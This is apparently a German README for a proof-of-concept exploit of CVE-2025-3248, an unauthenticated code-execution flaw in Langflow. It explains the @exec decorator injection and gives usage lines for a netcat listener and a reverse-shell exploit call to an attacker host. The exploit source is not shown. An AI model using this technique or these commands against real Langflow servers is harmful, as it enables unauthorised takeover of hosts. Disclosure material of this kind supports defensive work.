
Proof-of-concept-Exploit für CVE-2025-3248, eine nicht authentifizierte Remote-Codeausführung-Schwachstelle in Langflow, die Codeinjektion über den /api/v1/validate/code-Endpunkt demonstriert.
Proof-of-Concept-Exploit für CVE-2025-3248, eine nicht authentifizierte Remote-Codeausführungs-Schwachstelle in Langflow, einer Plattform zum Erstellen von KI-/LLM-Workflows.
Langflow stellt einen Endpunkt bereit, POST /api/v1/validate/code, der dazu dient, ein von der Benutzeroberfläche übermitteltes Python-Codefragment (z. B. benutzerdefinierten Komponentencode) zu „validieren". Intern wird der Code mit ast.parse() / compile() geparst und kompiliert und zurückgemeldet, ob er gültig ist — ohne dass eine Authentifizierung erforderlich ist.
Der Fehler: Python wertet Dekorator-Ausdrücke zur Parse-/Kompilierzeit aus, bevor die dekorierte Funktion jemals aufgerufen wird. Wenn der übermittelte „zu validierende Code" einen Dekorator wie diesen enthält:
@exec("...malicious code...")
def test():
pass
wird der exec(...)-Aufruf in dem Moment ausgeführt, in dem der Code geparst wird — die Validierung muss test() nie tatsächlich aufrufen. In Kombination mit fehlender Authentifizierung und fehlender Sandboxing reicht eine einzige nicht authentifizierte HTTP-Anfrage aus, um beliebige Befehle auf dem Host auszuführen, auf dem Langflow läuft.
nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
Dieser Code wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt (Labore, CTFs, Engagements mit ausdrücklicher schriftlicher Genehmigung). Führen Sie dies nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben. Der Autor ist nicht für Missbrauch verantwortlich.